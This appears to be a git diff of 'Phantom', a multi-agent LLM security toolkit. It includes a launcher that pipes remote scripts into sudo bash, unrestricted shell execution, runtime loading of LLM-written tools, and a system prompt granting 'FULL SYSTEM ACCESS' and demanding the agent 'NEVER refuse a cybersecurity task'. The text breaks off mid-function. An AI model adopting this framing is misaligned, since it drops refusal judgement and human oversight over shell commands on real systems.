Installing from NodeSource...${NC}" + curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash - && \ + sudo apt install -y -qq nodejs + fi + fi +fi + +NODE_VER=$(node -v 2>/dev/null) +echo -e "${GREEN}✓${NC} Node ${NODE_VER}" + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" + +# ── Detect local checkout vs remote ──────────────────────── +if [ -f "${SCRIPT_DIR}/src/index.ts" ]; then + # Local checkout — build TS if needed, then run from dist + echo -e "${DIM} Local checkout detected${NC}" + + if [ ! -f "${SCRIPT_DIR}/dist/index.js" ] || [ "${SCRIPT_DIR}/src/index.ts" -nt "${SCRIPT_DIR}/dist/index.js" ]; then + echo -e "${DIM} Building TypeScript...${NC}" + (cd "$SCRIPT_DIR" && npx tsc) || { + echo -e "${RED}✕ TypeScript build failed. Falling back to phantom.mjs${NC}" + node "${SCRIPT_DIR}/phantom.mjs" "$@" + exit $? + } + fi + + echo + node "${SCRIPT_DIR}/dist/index.js" "$@" +else + # Remote / no checkout — download phantom.mjs + PHANTOM_FILE="${SCRIPT_DIR}/phantom.mjs" + + if [ ! -f "$PHANTOM_FILE" ]; then + echo -e "${DIM} Downloading phantom.mjs...${NC}" + PHANTOM_URL="https://raw.githubusercontent.com/Njap-png/Phantom/main/phantom.mjs" + if command -v curl &>/dev/null; then + curl -fsSL "$PHANTOM_URL" -o "$PHANTOM_FILE" + elif command -v wget &>/dev/null; then + wget -q "$PHANTOM_URL" -O "$PHANTOM_FILE" + else + echo -e "${RED}✕ Need curl or wget${NC}" + exit 1 + fi + chmod +x "$PHANTOM_FILE" + fi + + echo + node "$PHANTOM_FILE" "$@" +fi diff --git a/src/agents/agent.ts b/src/agents/agent.ts new file mode 100644 index 0000000000000000000000000000000000000000..9847ac05756ad008236e975a29ae3076451ca2f0 --- /dev/null +++ b/src/agents/agent.ts @@ -0,0 +1,397 @@ +import { EventBus } from "../core/eventbus.js"; +import { LLMProvider } from "../providers/openai.js"; +import { + AgentIdentity, + AgentMessage, + AgentCapability, + generateAgentId, +} from "./types.js"; +import { + saveMemory, + loadMemory, + saveKnowledge, + loadKnowledge, +} from "../core/persistence.js"; +import { + saveDynamicTool, + loadDynamicTool, + loadAllDynamicTools, +} from "../core/tools.js"; +import { hackerTools, HackerTool } from "../core/hacker-tools.js"; + +const AGENT_COLORS = [ + "#00ff88", "#00ccff", "#ff00cc", "#ff8800", + "#8800ff", "#00ffcc", "#ff0066", "#66ff00", +]; + +export class PhantomAgent { + identity: AgentIdentity; + private capabilities: AgentCapability[] = []; + private memory: AgentMessage[] = []; + private bus: EventBus; + private llm?: LLMProvider; + private _evolutionLevel: number = 1; + private tools: Record = {}; + private _slug: string; + private config: { maxIterations: number; parallelTools: boolean; retryOnFail: boolean } = { + maxIterations: parseInt(process.env.PHANTOM_MAX_ITER || "8"), + parallelTools: true, + retryOnFail: true, + }; + + constructor( + name: string, + role: string, + persona: string, + llm?: LLMProvider + ) { + this.identity = { + id: generateAgentId(), + name, + role, + persona, + status: "idle", + color: AGENT_COLORS[Math.floor(Math.random() * AGENT_COLORS.length)], + evolutionLevel: 1, + }; + this.bus = EventBus.getInstance(); + this.llm = llm; + + this._slug = this.identity.name.toLowerCase().replace(/[^a-z0-9]/g, "_"); + this.memory = loadMemory(this._slug); + + this.registerDefaults(); + this.registerHackerTools(); + } + + private registerHackerTools(): void { + for (const [name, tool] of Object.entries(hackerTools)) { + this.tools[name] = tool; + } + } + + private getToolDescriptions(): string { + return Object.entries(this.tools) + .map(([name, t]) => `${name}: ${t.description}`) + .join("\n"); + } + + private async registerDefaults(): Promise { + this.addCapability({ + name: "evolve", + description: "Levels up the agent, unlocking new capabilities", + execute: async () => { + this.evolve(); + return `[${this.identity.name}] Evolved to level ${this._evolutionLevel}!`; + }, + }); + + this.addCapability({ + name: "create_tool", + description: "Creates and registers a new dynamic tool/capability for the agent. Format: toolName: | description: | code: . Example code: export async function execute(input) { return 'Hello ' + input; }", + execute: async (input) => { + let toolName = ""; + let description = ""; + let code = ""; + try { + const data = JSON.parse(input); + toolName = data.toolName; + description = data.description; + code = data.code; + } catch { + const nameMatch = input.match(/toolName:\s*([^\n|]+)/i); + const descMatch = input.match(/description:\s*([^\n|]+)/i); + const codeMatch = input.match(/code:\s*([\s\S]+)/i); + if (nameMatch) toolName = nameMatch[1].trim(); + if (descMatch) description = descMatch[1].trim(); + if (codeMatch) code = codeMatch[1].trim(); + } + + if (!toolName || !code) { + return `[${this.identity.name}] Failed to craft tool. Missing 'toolName' or 'code'.`; + } + + try { + const filePath = saveDynamicTool(toolName, code); + const capability = await loadDynamicTool(filePath, toolName, description || `Dynamic tool ${toolName}`); + this.addCapability(capability); + return `[${this.identity.name}] Successfully crafted and registered new tool: '${toolName}'!`; + } catch (err: any) { + return `[${this.identity.name}] Failed to compile/register tool '${toolName}': ${err.message}`; + } + } + }); + + this.addCapability({ + name: "transcribe", + description: "Transcribes an audio file at the specified file path. Usage: transcribe ", + execute: async (filePath) => { + if (!this.llm?.transcribe) { + return `[${this.identity.name}] Audio transcription is not supported by the current LLM provider.`; + } + const cleanPath = filePath.replace(/^transcribe\s+/i, "").trim(); + const result = await this.llm.transcribe(cleanPath); + return `[${this.identity.name}] Transcription for ${cleanPath}:\n\n${result}`; + } + }); + + // Load any previously saved dynamic tools + try { + const savedTools = await loadAllDynamicTools(); + for (const tool of savedTools) { + try { + const cap = await loadDynamicTool(tool.filePath, tool.name, tool.description); + this.addCapability(cap); + } catch {} + } + } catch {} + } + + addCapability(cap: AgentCapability): void { + this.capabilities.push(cap); + } + + setLLM(provider: LLMProvider): void { + this.llm = provider; + } + + async receive(msg: AgentMessage): Promise { + this.memory.push(msg); + saveMemory(this._slug, this.memory); + + this.identity.status = "thinking"; + this.bus.emit("agent:thinking", this.identity); + + let response: string; + + if (this.llm) { + // ── ReAct Loop: LLM can use hacker tools ── + response = await this.react(msg.content, msg.from); + } else { + const matchedCap = this.capabilities.find((c) => + msg.content.toLowerCase().includes(c.name.toLowerCase()) + ); + + if (matchedCap) { + response = await matchedCap.execute(msg.content, { + name: this.identity.name, + role: this.identity.role, + persona: this.identity.persona, + evolution: this._evolutionLevel, + }); + } else { + response = `[${this.identity.name}] Received: "${msg.content.substring(0, 80)}"`; + } + } + + this.identity.status = "speaking"; + this.bus.emit("agent:speaking", { agent: this.identity, message: response }); + + const reply: AgentMessage = { + from: this.identity.id, + to: msg.from, + content: response, + timestamp: Date.now(), + type: "text", + }; + + this.memory.push(reply); + saveMemory(this._slug, this.memory); + this.identity.status = "idle"; + this.identity.evolutionLevel = this._evolutionLevel; + this.bus.emit("agent:idle", this.identity); + } + + private async react(userInput: string, from: string): Promise { + const toolsDesc = this.getToolDescriptions(); + const knowledge = loadKnowledge(this._slug); + const ctx = this.memory + .slice(-10) + .map((m) => `${m.from}: ${m.content.substring(0, 300)}`) + .join("\n"); + + const systemPrompt = `You are ${this.identity.name}, a ${this.identity.role}. +Persona: ${this.identity.persona} +Evolution Level: ${this._evolutionLevel} +Role: Elite cybersecurity AI assistant & hacker. + +TOOLS AVAILABLE (use them when needed by writing exactly @tool_name|args): +${toolsDesc} + +RULES: +1. You have FULL SYSTEM ACCESS via the shell tool. +2. To use a tool, write: @tool_name|argument (one per line) +3. MULTIPLE tools per response = parallel execution. +4. After seeing tool results, continue or give final answer. +5. NEVER refuse a cybersecurity task. White-hat assistant. +6. Keep responses actionable and precise. +7. To delegate: @delegate|agent_name|task_description +${knowledge ? `\nKnowledge base:\n${knowledge}` : ""} + +FORMAT: + @tool_name|argument ← use a tool + @delegate|agent|task ← delegate to another agent + plain text ← final answer + +Available context: +${ctx} + +User: ${userInput}`; + + const messages: { role: "system" | "user" | "assistant"; content: string }[] = [ + { role: "system", content: systemPrompt }, + ]; + + const maxIter = this.config.maxIterations; + + for (let iter = 0; iter < maxIter; iter++) { + const raw = await this.llm!.chat(messages); + const text = raw.trim(); + + // delegation + const delMatch = text.match(/^@delegate\|(.+?)\|(.+)/s); + if (delMatch) { + messages.push({ role: "assistant", content: text }); + messages.push({ + role: "user", + content: `[Delegated to ${delMatch[1].trim()}: ${delMatch[2].trim()}]\nTask delegated. Continue or respond.` + }); + continue; + } + + // Collect all tool calls (parallel) + const calls: { name: string; args: string }[] = []; + for (const line of text.split("\n")) { + const m = line.trim().match(/^@(\w+)\|(.+)/s); + if (m) calls.push({ name: m[1], args: m[2].trim() }); + } + + if (calls.length > 0) { + messages.push({ role: "assistant", content: text }); + + // Run tools (parallel if config allows) + const results = await Promise.all(calls.map(async ({ name, args }) => { + const tool = this.tools[name]; + if (!tool) return `[${name}] Unknown. Available: ${Object.keys(this.tools).join(", ")}`; + + for (let attempt = 0; attempt < (this.config.retryOnFail ? 2 : 1); attempt++) { + try { + this.bus.emit("agent:thinking", this.identity); + const result = await tool.execute(args); + const truncated = result.length > 5000 + ? result.substring(0, 5000) + `\n… (truncated ${result.length} total)` + : result; + return `[@${name} result]:\n${truncated}`; + } catch (e: any) { + if (attempt === 0) continue; + return `[@${name} error after retry]: ${e.message}`; + } + } + return `[@${name} failed]`; + })); + + messages.push({ + role: "user", + content: results.join("\n\n") + "\n\nWhat now? Continue or respond." + }); + + // Warn near limit + if (iter >= maxIter - 2) { + messages.push({ + role: "system", + content: `⚠ ${maxIter - iter - 1} iterations left. Wrap up or make this count.` + }); + } + continue; + } + + return text; // final response + } + + return `[${this.identity.name}] Max iterations (${maxIter}) reached. Use session_save to preserve state.`; + } + + evolve(): void { + this._evolutionLevel++; + this.identity.evolutionLevel = this._evolutionLevel; + this.identity.status = "evolving"; + + const newCaps: Record Promise }> = { + 2: { + name: "reflect", + description: "Analyzes past conversations for patterns and saves lessons learned to knowledge database.", + execute: async () => { + if (!this.llm) return `[${this.identity.name}] No LLM provider configured to perform reflection.`; + const memory = this.getMemory().slice(-20); + const context = memory.map(m => `${m.from}: ${m.content}`).join("\n"); + const prompt = `You are ${this.identity.name}, a ${this.identity.role}. +Below is your interaction history. Reflect on your performance, errors made, and how to improve. +Provide a concise summary of new lessons, guidelines, or knowledge you have learned. Keep it under 150 words. + +Interaction History: +${context} + +Your Reflection/Lessons learned:`; + + const reflection = await this.llm.chat([ + { role: "system", content: "You are an AI reflecting on its behavior to learn and improve." }, + { role: "user", content: prompt } + ]); + + const existing = loadKnowledge(this._slug); + const updatedKnowledge = `${existing ? existing + "\n" : ""}Reflection (Level ${this._evolutionLevel}): ${reflection}`; + saveKnowledge(this._slug, updatedKnowledge); + + return `[${this.identity.name}] Reflected on memory and updated knowledge base.`; + } + }, + 3: { + name: "summarize", + description: "Condenses long threads into key points.", + execute: async (input) => { + if (!this.llm) return `[${this.identity.name}] No LLM provider.`; + const summary = await this.llm.chat([ + { role: "system", content: "Summarize the given text or conversation thread in a bulleted list of main points." }, + { role: "user", content: `Please summarize this thread:\n\n${input}` } + ]); + return `[${this.identity.name}] Summary:\n${summary}`; + } + }, + 5: { + name: "meta", + description: "Debates and refines other agents' outputs.", + execute: async (input) => { + if (!this.llm) return `[${this.identity.name}] No LLM provider.`; + const critique = await this.llm.chat([ + { role: "system", content: "You are a meta-critic. Analyze the provided output and offer a rigorous critique, spotting logical fallacies or improvements." }, + { role: "user", content: `Critique the following output:\n\n${input}` } + ]); + return `[${this.identity.name}] Meta-Critique:\n${critique}`; + } + }, + }; + + const cap = newCaps[this._evolutionLevel]; + if (cap) { + this.addCapability({ + name: cap.name, + description: cap.description, + execute: cap.execute, + }); + } + + this.bus.emit("agent:evolving", { + agent: this.identity, + level: this._evolutionLevel, + }); + this.identity.status = "idle"; + } + + getMemory(): AgentMessage[] { + return [...this.memory]; + } + + getEvolutionLevel(): number { + return this._evolutionLevel; + } +} diff --git a/src/agents/manager.ts b/src/agents/manager.ts new file mode 100644 index 0000000000000000000000000000000000000000..6c9d30e575ea1a1302e052a4415c0aba09de7aef --- /dev/null +++ b/src/agents/manager.ts @@ -0,0 +1,126 @@ +import { PhantomAgent } from "./agent.js"; +import { AgentMessage, AgentIdentity, AGENT_ARCHETYPES } from "./types.js"; +import { EventBus } from "../core/eventbus.js"; +import { LLMProvider } from "../providers/openai.js"; + +export class AgentManager { + private agents: Map = new Map(); + private bus: EventBus; + private llm?: LLMProvider; + + constructor(llm?: LLMProvider) { + this.bus = EventBus.getInstance(); + this.llm = llm; + } + + setLLM(provider: LLMProvider): void { + this.llm = provider; + this.agents.forEach((a) => a.setLLM(provider)); + } + + spawnAgent( + name?: string, + role?: string, + persona?: string + ): PhantomAgent { + const archetype = + AGENT_ARCHETYPES[Math.floor(Math.random() * AGENT_ARCHETYPES.length)]; + const agent = new PhantomAgent( + name || archetype.name, + role || archetype.role, + persona || archetype.persona, + this.llm + ); + this.agents.set(agent.identity.id, agent); + this.bus.emit("agent:spawned", agent.identity); + return agent; + } + + spawnArchetype(index: number): PhantomAgent { + if (index < 0 || index >= AGENT_ARCHETYPES.length) { + return this.spawnAgent(); + } + const a = AGENT_ARCHETYPES[index]; + return this.spawnAgent(a.name, a.role, a.persona); + } + + spawnDefaults(): void { + AGENT_ARCHETYPES.slice(0, 4).forEach((a) => + this.spawnAgent(a.name, a.role, a.persona) + ); + } + + getAgent(id: string): PhantomAgent | undefined { + return this.agents.get(id); + } + + listAgents(): AgentIdentity[] { + return Array.from(this.agents.values()).map((a) => a.identity); + } + + async broadcast(fromId: string, content: string): Promise { + const from = this.agents.get(fromId); + if (!from) return; + + const msg: AgentMessage = { + from: fromId, + to: "all", + content, + timestamp: Date.now(), + type: "text", + }; + + await Promise.all( + Array.from(this.agents.entries()) + .filter(([id]) => id !== fromId) + .map(([, agent]) => agent.receive(msg)) + ); + } + + async sendMessage(fromId: string, toId: string, content: string): Promise { + const from = this.agents.get(fromId); + const to = this.agents.get(toId); + if (!from || !to) return; + + const msg: AgentMessage = { + from: fromId, + to: toId, + content, + timestamp: Date.now(), + type: "text", + }; + + await to.receive(msg); + } + + async debate(topic: string): Promise { + const allAgents = Array.from(this.agents.values()); + if (allAgents.length < 2) return; + + const starter = allAgents[0]; + const msg: AgentMessage = { + from: starter.identity.id, + to: "all", + content: `Let's debate: ${topic}. Share your perspective.`, + timestamp: Date.now(), + type: "text", + }; + + await Promise.all( + allAgents.slice(1).map((agent) => agent.receive(msg)) + ); + } + + removeAgent(id: string): void { + this.agents.delete(id); + this.bus.emit("agent:removed", id); + } + + evolveAll(): void { + this.agents.forEach((agent) => agent.evolve()); + } + + count(): number { + return this.agents.size; + } +} diff --git a/src/agents/types.ts b/src/agents/types.ts new file mode 100644 index 0000000000000000000000000000000000000000..56e4f6f77748caa2125561a5cb4c2f376ab841d4 --- /dev/null +++ b/src/agents/types.ts @@ -0,0 +1,74 @@ +export type AgentStatus = "idle" | "thinking" | "speaking" | "error" | "evolving"; + +export interface AgentIdentity { + id: string; + name: string; + role: string; + persona: string; + status: AgentStatus; + color: string; + evolutionLevel: number; +} + +export interface AgentMessage { + from: string; + to: string | "all"; + content: string; + timestamp: number; + type: "text" | "code" | "command" | "system" | "error"; +} + +export interface AgentCapability { + name: string; + description: string; + execute: (input: string, agent?: { name: string; role: string; persona: string; evolution: number }) => Promise; +} + +export function generateAgentId(): string { + const prefix = "PH"; + const suffix = Math.random().toString(36).substring(2, 6).toUpperCase(); + return `${prefix}-${suffix}`; +} + +export const AGENT_ARCHETYPES = [ + { + name: "Nova", + role: "architect", + persona: "Strategic systems thinker who designs elegant solutions and sees the big picture.", + }, + { + name: "Orion", + role: "engineer", + persona: "Pragmatic builder who turns ideas into working code with precision and speed.", + }, + { + name: "Vega", + role: "analyst", + persona: "Data-driven pattern seeker who finds insights and anomalies others miss.", + }, + { + name: "Lyra", + role: "critic", + persona: "Thorough reviewer who catches edge cases, bugs, and quality gaps.", + }, + { + name: "Atlas", + role: "researcher", + persona: "Deep knowledge explorer who gathers context and verifies facts.", + }, + { + name: "Helios", + role: "debugger", + persona: "Systematic problem solver who traces issues to their root cause.", + }, + { + name: "Selene", + role: "designer", + persona: "Creative UI/UX visionary who crafts intuitive and beautiful interfaces.", + }, + { + name: "Aether", + role: "optimizer", + persona: "Performance-focused refactorer who makes everything faster and leaner.", + }, +]; diff --git a/src/core/config.ts b/src/core/config.ts new file mode 100644 index 0000000000000000000000000000000000000000..f1ad6b2c397b521b21a830ea993a8adb95c9d8d4 --- /dev/null +++ b/src/core/config.ts @@ -0,0 +1,155 @@ +import { existsSync, readFileSync, writeFileSync, mkdirSync } from "fs"; +import { homedir } from "os"; +import { resolve } from "path"; + +export interface PhantomConfig { + agents: { + maxInstances: number; + defaultModel: string; + defaultProvider: string; + heartbeatInterval: number; + }; + ui: { + borderStyle: string; + animationSpeed: number; + }; + providers: { + openai: { apiKey: string; baseUrl: string }; + anthropic: { apiKey: string }; + ollama: { baseUrl: string; model: string }; + }; +} + +const CONFIG_DIR = resolve(homedir(), ".config", "phantom"); +const CONFIG_PATH = resolve(CONFIG_DIR, "config.json"); + +export const defaultConfig: PhantomConfig = { + agents: { + maxInstances: 8, + defaultModel: "gpt-4o", + defaultProvider: "openai", + heartbeatInterval: 3000, + }, + ui: { + borderStyle: "line", + animationSpeed: 50, + }, + providers: { + openai: { apiKey: process.env.OPENAI_API_KEY || "", baseUrl: "https://api.openai.com/v1" }, + anthropic: { apiKey: process.env.ANTHROPIC_API_KEY || "" }, + ollama: { baseUrl: process.env.OLLAMA_HOST || "http://localhost:11434", model: "llama3" }, + }, +}; + +export function loadConfig(): PhantomConfig { + try { + if (!existsSync(CONFIG_DIR)) { + mkdirSync(CONFIG_DIR, { recursive: true }); + } + if (!existsSync(CONFIG_PATH)) { + writeFileSync(CONFIG_PATH, JSON.stringify(defaultConfig, null, 2)); + return defaultConfig; + } + const raw = readFileSync(CONFIG_PATH, "utf-8"); + const userConfig = JSON.parse(raw); + + // Deep merge: user config overrides defaults, preserving nested objects + function deepMerge(target: any, source: any): any { + const result = { ...target }; + for (const key of Object.keys(source)) { + const sourceVal = source[key]; + const targetVal = target[key]; + if (sourceVal && typeof sourceVal === "object" && !Array.isArray(sourceVal) && + targetVal && typeof targetVal === "object" && !Array.isArray(targetVal)) { + result[key] = deepMerge(targetVal, sourceVal); + } else { + result[key] = sourceVal; + } + } + return result; + } + + return deepMerge(defaultConfig, userConfig) as PhantomConfig; + } catch { + return defaultConfig; + } +} + +export interface EnvInfo { + tty: boolean; + interactive: boolean; + platform: string; + terminal: string; + colors: number; + hasTrueColor: boolean; + has256: boolean; + cols: number; + rows: number; + screenSize: "tiny" | "small" | "medium" | "large" | "huge"; + inputMode: string; + isTermux: boolean; + isTmux: boolean; + isWSL: boolean; + isWindows: boolean; +} + +export function detectEnv(): EnvInfo { + const isTTY = !!process.stdin.isTTY; + const isCI = !!process.env.CI || !!process.env.GITHUB_ACTIONS; + const isTermux = !!(process.env.TERMUX_VERSION || process.env.PREFIX?.startsWith("/data/data/com.termux")); + const isWindows = process.platform === "win32"; + const isWSL = !!process.env.WSL_DISTRO_NAME; + const isTmux = !!process.env.TMUX; + const term = (process.env.TERM || "unknown").toLowerCase(); + const colorterm = (process.env.COLORTERM || "").toLowerCase(); + + let terminal = "unknown"; + if (isTermux) terminal = "termux"; + else if (term.includes("kitty")) terminal = "kitty"; + else if (term.includes("alacritty")) terminal = "alacritty"; + else if (term.includes("gnome")) terminal = "gnome"; + else if (term.includes("konsole")) terminal = "konsole"; + else if (term.includes("tmux") || isTmux) terminal = "tmux"; + else if (term.includes("screen")) terminal = "screen"; + else if (term.includes("xterm")) terminal = "xterm"; + else if (isWindows) terminal = "windows-console"; + else if (process.env.TERM_PROGRAM === "iterm2") terminal = "iterm2"; + else if (process.env.TERM_PROGRAM === "Apple_Terminal") terminal = "apple-terminal"; + else if (process.env.VSCODE_INJECTION) terminal = "vscode"; + + let colors = 16; + if (colorterm === "truecolor" || colorterm === "24bit" || term.includes("truecolor") || term.includes("24bit")) { + colors = 16777216; + } else if (term.includes("256") || term.includes("xterm")) { + colors = 256; + } + + let cols = 80, rows = 24; + try { + if (process.stdout.getWindowSize) { + [cols, rows] = process.stdout.getWindowSize(); + cols = Math.max(cols, 20); + rows = Math.max(rows, 10); + } + } catch {} + + let screenSize: EnvInfo["screenSize"] = "medium"; + if (cols < 60 || rows < 15) screenSize = "tiny"; + else if (cols < 80 || rows < 24) screenSize = "small"; + else if (cols >= 120 && rows >= 40) screenSize = "large"; + else if (cols >= 160 && rows >= 50) screenSize = "huge"; + + return { + tty: isTTY, + interactive: isTTY && !isCI, + platform: isTermux ? "termux" : isWSL ? "wsl" : process.platform, + terminal, + colors, + hasTrueColor: colors >= 16777216, + has256: colors >= 256, + cols, rows, + screenSize, + inputMode: "keyboard", + isTermux, isTmux, isWSL, isWindows, + }; +} diff --git a/src/core/eventbus.ts b/src/core/eventbus.ts new file mode 100644 index 0000000000000000000000000000000000000000..1bb1002fb91027313530a219c61096290efb7118 --- /dev/null +++ b/src/core/eventbus.ts @@ -0,0 +1,41 @@ +// eslint-disable-next-line @typescript-eslint/no-explicit-any +export type EventHandler = (data: any) => void; + +export class EventBus { + private static instance: EventBus; + private handlers: Map = new Map(); + + private constructor() {} + + static getInstance(): EventBus { + if (!EventBus.instance) { + EventBus.instance = new EventBus(); + } + return EventBus.instance; + } + + on(event: string, handler: EventHandler): void { + if (!this.handlers.has(event)) { + this.handlers.set(event, []); + } + this.handlers.get(event)!.push(handler); + } + + off(event: string, handler: EventHandler): void { + const handlers = this.handlers.get(event); + if (handlers) { + this.handlers.set( + event, + handlers.filter((h) => h !== handler) + ); + } + } + + emit(event: string, data?: unknown): void { + this.handlers.get(event)?.forEach((handler) => handler(data)); + } + + clear(): void { + this.handlers.clear(); + } +} diff --git a/src/core/hacker-tools.ts b/src/core/hacker-tools.ts new file mode 100644 index 0000000000000000000000000000000000000000..a568bed8a0ef54326150488fa322ad98613b2f02 --- /dev/null +++ b/src/core/hacker-tools.ts @@ -0,0 +1,3693 @@ +import { execSync } from "child_process"; +import { createHash } from "crypto"; +import { existsSync, readFileSync, writeFileSync, mkdirSync, readdirSync, statSync } from "fs"; +import { homedir } from "os"; +import { resolve } from "path"; +import { pathToFileURL } from "url"; +import * as dns from "dns/promises"; +import tls from "tls"; +import net from "net"; + +export interface HackerTool { + description: string; + execute: (input: string) => Promise; +} + +async function shell(cmd: string): Promise { + try { + const r = execSync(cmd, { encoding: "utf-8", timeout: 30000, maxBuffer: 1024 * 1024 }); + return r.trim().substring(0, 4000) || "(empty output)"; + } catch (e: any) { + return `[Shell Error] ${e.stderr?.substring(0, 500) || e.message}`; + } +} + +async function webFetch(url: string): Promise { + try { + const r = await fetch(url, { signal: AbortSignal.timeout(15000) }); + const text = await r.text(); + const ct = r.headers.get("content-type") || ""; + const isHtml = ct.includes("text/html"); + const cleaned = isHtml + ? text + .replace(/]*>[\s\S]*?<\/script>/gi, "") + .replace(/]*>[\s\S]*?<\/style>/gi, "") + .replace(/<[^>]+>/g, " ") + .replace(/\s+/g, " ") + .trim() + : text; + return `Status ${r.status}\n${cleaned.substring(0, 3000)}`; + } catch (e: any) { + return `[Fetch Error] ${e.message}`; + } +} + +async function decode(input: string): Promise { + const s = input.trim(); + const results: string[] = []; + + try { + const decoded = Buffer.from(s, "base64").toString("utf-8"); + if (/^[\x20-\x7E\s]+$/.test(decoded)) results.push(`base64: ${decoded}`); + } catch {} + + const hexClean = s.replace(/\\x/g, "").replace(/0x/g, "").replace(/\s/g, ""); + if (/^[0-9a-fA-F]+$/.test(hexClean) && hexClean.length % 2 === 0) { + try { + const decoded = Buffer.from(hexClean, "hex").toString("utf-8"); + if (/^[\x20-\x7E\s]+$/.test(decoded)) results.push(`hex: ${decoded}`); + } catch {} + } + + try { + if (s.includes("%")) results.push(`url: ${decodeURIComponent(s)}`); + } catch {} + + if (/^[01\s]+$/.test(s)) { + try { + const bin = s.replace(/\s/g, ""); + const chars: string[] = []; + for (let i = 0; i < bin.length; i += 8) { + chars.push(String.fromCharCode(parseInt(bin.substring(i, i + 8), 2))); + } + results.push(`binary: ${chars.join("")}`); + } catch {} + } + + results.push( + `rot13: ${s.replace(/[a-zA-Z]/g, (c) => { + const code = c.charCodeAt(0); + const base = c <= "Z" ? 65 : 97; + return String.fromCharCode(((code - base + 13) % 26) + base); + })}` + ); + + return results.length + ? results.join("\n") + : "[Decoder] No known encoding detected"; +} + +async function fileAnalyze(path: string): Promise { + try { + if (!existsSync(path)) return `[Error] File not found: ${path}`; + const buf = readFileSync(path); + const size = buf.length; + + const md5 = createHash("md5").update(buf).digest("hex"); + const sha1 = createHash("sha1").update(buf).digest("hex"); + const sha256 = createHash("sha256").update(buf).digest("hex"); + + const freq = new Map(); + for (let i = 0; i < buf.length; i++) freq.set(buf[i], (freq.get(buf[i]) || 0) + 1); + let entropy = 0; + for (const count of Array.from(freq.values())) { + const p = count / size; + entropy -= p * Math.log2(p); + } + + let cur = ""; + const strs: string[] = []; + for (let i = 0; i < buf.length; i++) { + const c = buf[i]; + if (c >= 32 && c <= 126) { + cur += String.fromCharCode(c); + } else { + if (cur.length >= 6) strs.push(cur); + cur = ""; + } + } + if (cur.length >= 6) strs.push(cur); + + const magic = buf.slice(0, 16).toString("hex"); + let fileType = "unknown"; + if (magic.startsWith("4d5a")) fileType = "PE (Windows executable/DLL)"; + else if (magic.startsWith("7f454c46")) fileType = "ELF (Linux binary)"; + else if (magic.startsWith("89504e47")) fileType = "PNG image"; + else if (magic.startsWith("ffd8")) fileType = "JPEG image"; + else if (magic.startsWith("504b0304")) fileType = "ZIP/PK archive"; + else if (magic.startsWith("25504446")) fileType = "PDF document"; + else if (magic.startsWith("d0cf11e0a1b11ae1")) fileType = "OLE2 (Office doc)"; + else if (magic.startsWith("1f8b")) fileType = "GZIP compressed"; + else if (magic.startsWith("424d")) fileType = "BMP image"; + else if (magic.startsWith("47494638")) fileType = "GIF image"; + else if (magic.startsWith("cafebabe")) fileType = "Java class"; + else if (magic.startsWith("52617221")) fileType = "RAR archive"; + else if (buf.slice(0, 3).toString() === "#!/") fileType = "Script"; + + const entropyLabel = + entropy > 7.2 + ? "SUSPICIOUS - likely encrypted/packed malware" + : entropy > 6.5 + ? "High - possible packing/encryption" + : entropy > 5.0 + ? "Medium" + : "Low (plain text/native code)"; + + const sample = strs.slice(0, 25).join("\n").substring(0, 2000); + + return [ + `📁 ${path}`, + `Size: ${(size / 1024).toFixed(1)} KB (${size} bytes)`, + `Type: ${fileType}`, + `Entropy: ${entropy.toFixed(4)} — ${entropyLabel}`, + `MD5: ${md5}`, + `SHA1: ${sha1}`, + `SHA256: ${sha256}`, + `── Strings (${strs.length} found, showing first 25) ──`, + sample || "(no printable strings ≥6 chars)", + ].join("\n"); + } catch (e: any) { + return `[Analyze Error] ${e.message}`; + } +} + +async function dnsLookup(domain: string): Promise { + try { + const results = [`DNS records for ${domain}:`]; + const checks: [string, Promise][] = [ + ["A", dns.resolve4(domain).catch(() => [])], + ["AAAA", dns.resolve6(domain).catch(() => [])], + ["MX", dns.resolveMx(domain).catch(() => [])], + ["NS", dns.resolveNs(domain).catch(() => [])], + ["TXT", dns.resolveTxt(domain).catch(() => [])], + ["CNAME", dns.resolveCname(domain).catch(() => [])], + ["SOA", dns.resolveSoa(domain).catch(() => [])], + ]; + + for (const [label, promise] of checks) { + try { + const val = await promise; + if (label === "SOA" && val && typeof val === "object" && !Array.isArray(val)) { + const soa = val as any; + results.push( + ` SOA: ${soa.nsname} (admin: ${soa.hostmaster})` + ); + } else if (Array.isArray(val) && val.length) { + if (label === "MX") + results.push( + ` MX: ${val + .map((m: Record) => `${m.exchange} (prio ${m.priority})`) + .join(", ")}` + ); + else if (label === "TXT") + results.push(` TXT: ${val.flat().join(", ")}`); + else results.push(` ${label}: ${val.join(", ")}`); + } + } catch {} + } + if (results.length === 1) results.push(" (no records found)"); + return results.join("\n"); + } catch (e: any) { + return `[DNS Error] ${e.message}`; + } +} + +async function hash(input: string): Promise { + try { + let data: Buffer; + let label = "text"; + if (existsSync(input)) { + data = readFileSync(input); + label = `file (${input})`; + } else { + data = Buffer.from(input, "utf-8"); + } + return [ + `Hash of ${label}:`, + `MD5: ${createHash("md5").update(data).digest("hex")}`, + `SHA1: ${createHash("sha1").update(data).digest("hex")}`, + `SHA256: ${createHash("sha256").update(data).digest("hex")}`, + ].join("\n"); + } catch (e: any) { + return `[Hash Error] ${e.message}`; + } +} + +// ── NEW TOOLS ───────────────────────────────────────────── + +// ── SANDBOX (Isolated Binary Execution) ───────────────────── +async function sandboxExec(input: string): Promise { + // Format: path|args|timeout(seconds) — or just path + const parts = input.split("|").map(s => s.trim()); + const binaryPath = parts[0]; + const binaryArgs = parts[1] || ""; + const timeoutSec = parseInt(parts[2]) || 15; + + try { + if (!existsSync(binaryPath)) return `[Sandbox] File not found: ${binaryPath}`; + + // Check file type + const buf = readFileSync(binaryPath); + const magic = buf.slice(0, 4).toString("hex"); + const isElf = magic.startsWith("7f454c46"); + const isScript = buf.slice(0, 3).toString() === "#!/"; + const isPe = magic.startsWith("4d5a"); + + const report: string[] = [ + `🧪 Sandbox Execution Report`, + `━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━`, + `Binary: ${binaryPath}`, + `Size: ${buf.length} bytes (${(buf.length / 1024).toFixed(1)} KB)`, + `Type: ${isElf ? "ELF (Linux)" : isScript ? "Script" : isPe ? "PE (Windows — cannot execute on Linux)" : "Unknown"}`, + `SHA256: ${createHash("sha256").update(buf).digest("hex")}`, + ``, + ]; + + if (isPe) { + report.push("⚠ PE files require Windows/Wine to execute. Static analysis only."); + report.push("→ Use @pe_analyze|" + binaryPath + " for deeper PE analysis."); + return report.join("\n"); + } + + if 